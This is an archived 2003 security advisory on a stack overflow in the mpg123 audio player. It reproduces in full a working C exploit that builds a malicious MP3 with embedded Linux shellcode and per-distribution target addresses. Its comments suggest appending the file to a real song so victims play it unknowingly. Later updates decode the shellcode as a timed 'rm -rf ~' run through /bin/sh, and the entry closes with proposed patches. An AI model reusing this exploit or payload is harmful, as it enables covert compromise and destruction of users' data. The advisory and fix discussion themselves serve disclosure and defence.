14th Jan 2003 [SBWID-5932]
COMMAND
	mpg123 Local/remote exploit
SYSTEMS AFFECTED
	mpg123 (pre0.59s)
PROBLEM
	From :
	 
	 ___ ___ ___ ___ _ ___ ___ ___ ___ ___ _ _ ___ ___ _______
	/ __|/ _ \| _ ) _ ) | | __/ __| / __| __/ __| | | | _ \_ _|_ _\ \ / /
	| (_ | (_) | _ \ _ \ |__| _|\__ \ \__ \ _| (__| |_| | /| | | | \ V /
	\___|\___/|___/___/____|___|___/ |___/___\___|\___/|_|_\___| |_| |_|
	"Putting the honey in honeynet since '98."
	
	[[email protected]]       advisory,       with       credits       to
	[[email protected]] for the ethnic-cleansing shellcode.
	
	/* 
	   jinglebellz.c - local/remote exploit for mpg123
	   (c) 2003 GOBBLES Security seXForces
	   To use: 
		$ gcc -o jinglebellz jinglebellz.c
		$ ./jinglebellz X own.mp3
		  (where X is the target number)
		$ mpg123 own.mp3
	   If you need help finding specific targets for this
	   exploit:
		$ ./jinglebellz 2 debug.mp3
		$ gdb
		 (gdb) file mpg123
		 (gdb) r debug.mp3
		 (gdb) set $p=0xc0000000-4
		 (gdb) while(*$p!=0x41424348)
		  >set $p=$p-1
		  >end
		 (gdb) x/$p
		 0xbfff923c:     0x41424348
	   Add the new target to the source, recompile, and 
	   try it out!  You might want to supply your own
	   shellcode if you're going to use this to own your 
	   friends <g>.
	   Fun things to do:
	   1) Create an evil.mp3 and append it to the end of a
	      "real" mp3, so that your victim gets to listen to
	      their favorite tunez before handing over access.
	      ex: $ ./jinglebellz X evil.mp3 
		  $ cat evil.mp3 >>"NiN - The Day the Whole World Went Away.mp3" 
	   2) Laugh at Theo for not providing md5sums for the contents of
	      ftp://ftp.openbsd.org/pub/OpenBSD/songs/, and continue laughing
	      at him for getting his boxes comprimised when "verifying" the
	      integrity of those mp3's.  GOOD WORK THEO!@# *clap clap clap clap*
	   Special thanks to stran9er for the shellcode. 
	   Remember, Napster is Communism, so fight for the American
	   way of life.
	   Quote:
	   "GOBBLES is so 2002" -- anonymous
	   ^^^^^^^^^^^^^^^^^^^^
	   hehehehehehehe ;PPpPPPPPPppPPPPpP
	   Love,
	   GOBBLES
	   Special thanks to Dave Ahmed for supporting this release :>
	*/ 
	#include <stdio.h>
	#include <sys/types.h>
	#include <sys/stat.h>
	#include <fcntl.h>
	#include <errno.h>
	#define NORMAL_OVF
	#define VERSION "0.1"
	#define FALSE   0
	#define TRUE    1
	#define WRITE_ERROR   { perror("write"); close(fd); exit(1); }
	#define STATE         { fprintf(stderr, "\n* header (%p) state: %x: ", header, state); state ++; ltb(header); }
	#define MP3_SIZE      (((160 * 144000)/8000) - 3) + 8  
	#define MAX_INPUT_FRAMESIZE 1920
	unsigned char linux_shellcode[] = /* contributed by antiNSA */
	"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x3b\x50\x31\xc0\x68\x6f"
	"\x72\x74\x0a\x68\x6f\x20\x61\x62\x68\x2d\x63\x20\x74\x68\x43"
	"\x54\x52\x4c\x68\x73\x2e\x2e\x20\x68\x63\x6f\x6e\x64\x68\x35"
	"\x20\x73\x65\x68\x20\x69\x6e\x20\x68\x72\x66\x20\x7e\x68\x72"
	"\x6d\x20\x2d\xb3\x02\x89\xe1\xb2\x29\xb0\x04\xcd\x80\x31\xc0"
	"\x31\xff\xb0\x05\x89\xc7\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66"
	"\xba\x70\x50\x52\xb3\x02\x89\xe1\x31\xd2\xb2\x02\xb0\x04\xcd"
	"\x80\x31\xc0\x31\xdb\x31\xc9\x50\x40\x50\x89\xe3\xb0\xa2\xcd"
	"\x80\x4f\x31\xc0\x39\xc7\x75\xd1\x31\xc0\x31\xdb\x31\xc9\x31"
	"\xd2\x68\x66\x20\x7e\x58\x68\x6d\x20\x2d\x72\x68\x2d\x63\x58"
	"\x72\x68\x41\x41\x41\x41\x68\x41\x41\x41\x41\x68\x41\x41\x41"
	"\x41\x68\x41\x41\x41\x41\x68\x2f\x73\x68\x43\x68\x2f\x62\x69"
	"\x6e\x31\xc0\x88\x44\x24\x07\x88\x44\x24\x1a\x88\x44\x24\x23"
	"\x89\x64\x24\x08\x31\xdb\x8d\x5c\x24\x18\x89\x5c\x24\x0c\x31"
	"\xdb\x8d\x5c\x24\x1b\x89\x5c\x24\x10\x89\x44\x24\x14\x31\xdb"
	"\x89\xe3\x8d\x4c\x24\x08\x31\xd2\x8d\x54\x24\x14\xb0\x0b\xcd"
	"\x80\x31\xdb\x31\xc0\x40\xcd\x80";
	struct xpl
	{
	  unsigned char *name;
	  unsigned long addrloc; /* LOCATION of our intended func. ptr */
	  unsigned long allign;
	  unsigned char *sc;
	  size_t sclen;
	} t[] = 
	{
	  { "Prepare evil mp3 for SuSE 8.0", 0xbfff923c, 0, linux_shellcode, sizeof(linux_shellcode) },
	  { "Prepare evil mp3 for Slackware 8.0", 0xbfff96f4, 0, linux_shellcode, sizeof(linux_shellcode) },
	  { "Debug", 0x41424344, 0, linux_shellcode, sizeof(linux_shellcode) }, 
	  { NULL, 0x00000000, 0, NULL, 0 }
	};
	int
	head_check(unsigned long head)
	{    
	  if ((head & 0xffe00000) != 0xffe00000)
	    return FALSE;
	  if (!((head >> 17) & 3))   
	    return FALSE;
	  if (((head >> 12) & 0xf) == 0xf)
	    return FALSE;
	  if (((head >> 10) & 0x3) == 0x3)
	    return FALSE;
	  return TRUE;
	}
	void
	btb(unsigned char byte)
	{
	  int shift;
	  unsigned int bit;
	  unsigned char mask;
	  for (shift = 7, mask = 0x80; shift >= 0; shift --, mask /= 2)
	  {
	    bit = 0;
	    bit = (byte & mask) >> shift;
	    fprintf(stderr, "%01d", bit);
	    if (shift == 4) fputc(' ', stderr);
	  }
	  fputc(' ', stderr);
	}
	void
	ltb(unsigned long blah)
	{
	  btb((unsigned char)((blah >> 24) & 0xff));
	  btb((unsigned char)((blah >> 16) & 0xff));
	  btb((unsigned char)((blah >> 8) & 0xff));
	  btb((unsigned char)(blah & 0xff));
	}
	int
	main(int argc, char **argv)
	{
	  int fd;
	  unsigned long header;
	  unsigned int i;
	  unsigned int state;   
	  unsigned int tcount;
	  unsigned char l_buf[4];
	  fprintf(stderr, "@! Jinglebellz.c: mpg123 frame header handling exploit, %s @!\n\n", VERSION);
	  if (argc < 3)
	  {
	    fprintf(stderr, "Usage: %s <target#> <evil.mp3 name>\n\nTarget list:\n\n", argv[0]);
	    for (tcount = 0; t[tcount].name != NULL; tcount ++) fprintf(stderr, "%d %s\n", tcount, t[tcount].name);
	    fputc('\n', stderr);
	    exit(0);
	  }
	  tcount = atoi(argv[1]);
	  if ((fd = open(argv[2], O_CREAT|O_WRONLY|O_TRUNC, 00700)) == -1)
	  {
	    perror("open");
	    exit(1);
	  }
	  state = 0;
	  fprintf(stderr, "+ filling bogus mp3 file\n");
	  for (i = 0; i < MP3_SIZE; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR;
	  fprintf(stderr, "+ preparing evil header");
	  header = 0xffe00000; /* start state */
	  STATE;
	  header |= 1 << 18; /* set bit 19, layer 2 */
	  STATE;
	  header |= 1 << 11; /* set bit 12, freqs index == 6 + (header>>10), se we end up with lowest freq (8000) */
	  STATE;
	  header |= 1 << 16; /* set fr->error_protection, (off) */
	  STATE;
	  header |= 1 << 13;
	  header |= 1 << 14;
	  header |= 1 << 15; /* bitrate index to highest possible (0xf-0x1) */
	  STATE;
	  header |= 1 << 9; /* fr->padding = ((newhead>>9)&0x1); */
	  STATE;
	  fprintf(stderr, "\n+ checking if header is valid: %s\n", head_check(header) == FALSE ? "NO" : "YES");
	  l_buf[3] = header & 0xff;
	  l_buf[2] = (header >> 8) & 0xff;
	  l_buf[1] = (header >> 16) & 0xff;
	  l_buf[0] = (header >> 24) & 0xff;
	  lseek(fd, 0, SEEK_SET);  
	  if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
	  fprintf(stderr, "+ addrloc: %p\n", t[tcount].addrloc);
	  l_buf[0] = ((t[tcount].addrloc + 0x04)) & 0xff; 
	  l_buf[1] = ((t[tcount].addrloc + 0x04) >> 8) & 0xff;
	  l_buf[2] = ((t[tcount].addrloc + 0x04) >> 16) & 0xff;
	  l_buf[3] = ((t[tcount].addrloc + 0x04) >> 24) & 0xff;
	  if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
	  lseek(fd, 0, SEEK_SET);
	  lseek(fd, MAX_INPUT_FRAMESIZE - t[tcount].sclen, SEEK_SET);
	  fprintf(stderr, "+ writing shellcode\n");
	  if (write(fd, t[tcount].sc, t[tcount].sclen) < 0) WRITE_ERROR;
	  for (i = 0; i < t[tcount].allign; i ++) if (write(fd, "A", 1) < 0) WRITE_ERROR;
	#ifdef NORMAL_OVF
	  l_buf[0] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2)) & 0xff; 
	  l_buf[1] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 8) & 0xff;
	  l_buf[2] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 16) & 0xff;
	  l_buf[3] = ((t[tcount].addrloc + MAX_INPUT_FRAMESIZE/2) >> 24) & 0xff;
	#else
	  l_buf[0] = ((t[tcount].addrloc - 0x08)) & 0xff; 
	  l_buf[1] = ((t[tcount].addrloc - 0x08) >> 8) & 0xff;
	  l_buf[2] = ((t[tcount].addrloc - 0x08) >> 16) & 0xff;
	  l_buf[3] = ((t[tcount].addrloc - 0x08) >> 24) & 0xff;
	#endif 
	  for (i = MAX_INPUT_FRAMESIZE + t[tcount].allign; i < MP3_SIZE; i += 4) 
	  {
	    if (write(fd, l_buf, sizeof(l_buf)) < 0) WRITE_ERROR;
	  }
	  lseek(fd, 0, SEEK_SET);
	  close(fd);
	  fprintf(stderr, "+ all done, %s is ready for use\n", argv[2]);
	  exit(0);
	}  
	
	 Update (14 January 2003)
	 ======
	ASM decode of the shellcode :
	
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	mov al, 3B
	push eax
	xor eax, eax
	push A74726F
	push 6261206F
	push 7420632D
	push 4C525443
	push 202E2E73
	push 646E6F63
	push 65732035
	push 206E6920
	push 7E206672
	push 2D206D72
	mov bl, 2
	mov ecx, esp
	mov dl, 29
	mov al, 4
	int 80                     ; LINUX - sys_write
	xor eax, eax
	xor edi, edi
	mov al, 5
	mov edi, eax
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	mov dx, 5070
	push edx
	mov bl, 2
	mov ecx, esp
	xor edx, edx
	mov dl, 2
	mov al, 4
	int 80                ; LINUX - sys_write
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	push eax
	inc eax
	push eax
	mov ebx, esp
	mov al, A2
	int 80                  ; LINUX - sys_nanosleep
	dec edi
	xor eax, eax
	cmp edi, eax
	jnz short 004010B1
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	push 587E2066
	push 722D206D
	push 7258632D
	push 41414141
	push 41414141
	push 41414141
	push 41414141
	push 4368732F
	push 6E69622F
	xor eax, eax
	mov byte ptr ss:[esp+7], al
	mov byte ptr ss:[esp+1A], al
	mov byte ptr ss:[esp+23], al
	mov dword ptr ss:[esp+8], esp
	xor ebx, ebx
	lea ebx, dword ptr ss:[esp+18]
	mov dword ptr ss:[esp+C], ebx
	xor ebx, ebx
	lea ebx, dword ptr ss:[esp+1B]
	mov dword ptr ss:[esp+10], ebx
	mov dword ptr ss:[esp+14], eax
	xor ebx, ebx
	mov ebx, esp
	lea ecx, dword ptr ss:[esp+8]
	xor edx, edx
	lea edx, dword ptr ss:[esp+14]
	mov al, B
	int 80                                             ; LINUX - sys_execve
	xor ebx, ebx
	xor eax, eax
	inc eax
	int 80                                             ; LINUX - sys_exit
	
	 Update (15 January 2003)
	 ======
	Afther decoding the  shellcode,  [[email protected]]  notice  in
	the stack :
	
	DATA:00402076                 push    0A74726Fh ( " "tro")
	DATA:0040207B                 push    'ba o'
	DATA:00402080                 push    't c-'
	DATA:00402085                 push    'LRTC'
	DATA:0040208A                 push    ' ..s'
	DATA:0040208F                 push    'dnoc'
	DATA:00402094                 push    'es 5'
	DATA:00402099                 push    ' ni '
	DATA:0040209E                 push    '~ fr'
	DATA:004020A3                 push    '- mr'
	
	 "rm -rf in 5 seconds.. CTRL-c to abort"
	... you'll be warned ...
	 Update (16 January 2003)
	 ======
	3APA3A [[email protected]] adds :
	Beside all the  noise:  it's  trivial  stack  overflow  due  to  invalid
	maximum frame size calculation in mpg123. Maximum frame size  is  defined
	to be 1792 (mpglib/mpg123.h)  and  1920  (common.c  where  overflow  probably
	actually occures). Gobblez construct frame (160 * 144000)/8000 + 1  -  4
	= 2877  bytes.  Maximum  frame  may  be  constructed  is  probably  (384
	* 144000)/16000 + 1 - 4 = 3453 bytes. Redefining  MAX_INPUT_FRAMESIZE  to
	4096 should probably fix the problem. mpg123.h  (not  one  from  mpglib,
	but one from mpg123 itself) already has MAXFRAMESIZE  defined  as  4096.
	It also could be nice to add fr->framesize check. Fix below. I'm too  lazy
	to test it.
	If there are any programs using same mpglib they are vulnerable too.
SOLUTION
	Check [http://www.mpg123.de]
	Benjamin Tober patch :
	This patch is with  respect  to  mpg123-pre0.59s  and  is  to  the  file
	common.c:
	
	--- common.c.orig       Wed Jan 15 02:16:08 2003
	+++ common.c    Wed Jan 15 02:18:52 2003
	@@ -579,6 +579,11 @@
	         fprintf(stderr,"Sorry, unknown layer
	type.\n"); 
	         return (0);
	     }
	+    if (fr->framesize>MAX_INPUT_FRAMESIZE) {
	+       fprintf(stderr,"Frame size too big.\n");
	+       fr->framesize = MAX_INPUT_FRAMESIZE;
	+       return 0;
	+    }
	     if(!fr->bitrate_index) {
	         /* fprintf(stderr,"Warning, Free format not
	heavily tested: (head %08lx)\n",newhead); */
	
	 Update (17 January 2003)
	 ======
	3APA3A [[email protected]] adds :
	Latest release mpg123 0.59r uses large enough buffer size  and  may  not
	be exploited this way. But both versions have another one bug  in  frame
	size calculation - zero bitrate will  lead  to  negative  frame  size  to
	be calculated. Unchecked patches:
	for 0.59r:
	
	--- common.old  2003-01-15 21:42:15.000000000 +0300
	+++ common.c    2003-01-15 21:42:38.000000000 +0300
	@@ -123,7 +123,7 @@
	        return FALSE;
	     if(!((head>>17)&3))
	        return FALSE;
	-    if( ((head>>12)&0xf) == 0xf)
	+    if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0)
	        return FALSE;
	     if( ((head>>10)&0x3) == 0x3 )
	        return FALSE;
	for pre0.59s:
	--- common.old  2003-01-15 20:51:15.000000000 +0300
	+++ common.c    2003-01-15 20:25:26.000000000 +0300
	@@ -127,7 +127,7 @@
	        return FALSE;
	     if(!((head>>17)&3))
	        return FALSE;
	-    if( ((head>>12)&0xf) == 0xf || (head>>12)&0xf) == 0)
	+    if( ((head>>12)&0xf) == 0xf)
	        return FALSE;
	     if( ((head>>10)&0x3) == 0x3 )
	        return FALSE;
	@@ -140,7 +140,7 @@
	  *       -1: giving up
	  *        1: synched
	  */
	-#define MAX_INPUT_FRAMESIZE 1920
	+#define MAX_INPUT_FRAMESIZE 4096
	 #define SYNC_HEAD_MASK    0xffff0000
	 #define SYNC_HEAD_MASK_FF 0x0000f000
	 #define LOOK_AHEAD_NUM 3
	@@ -237,6 +237,8 @@
	         }
	      }
	      else {
	+       if(frameInfo.framesize > MAX_INPUT_FRAMESIZE) return 0;
	+
	         if(!rds->read_frame_body(rds,dummybuf,frameInfo.framesize))
	            return 0;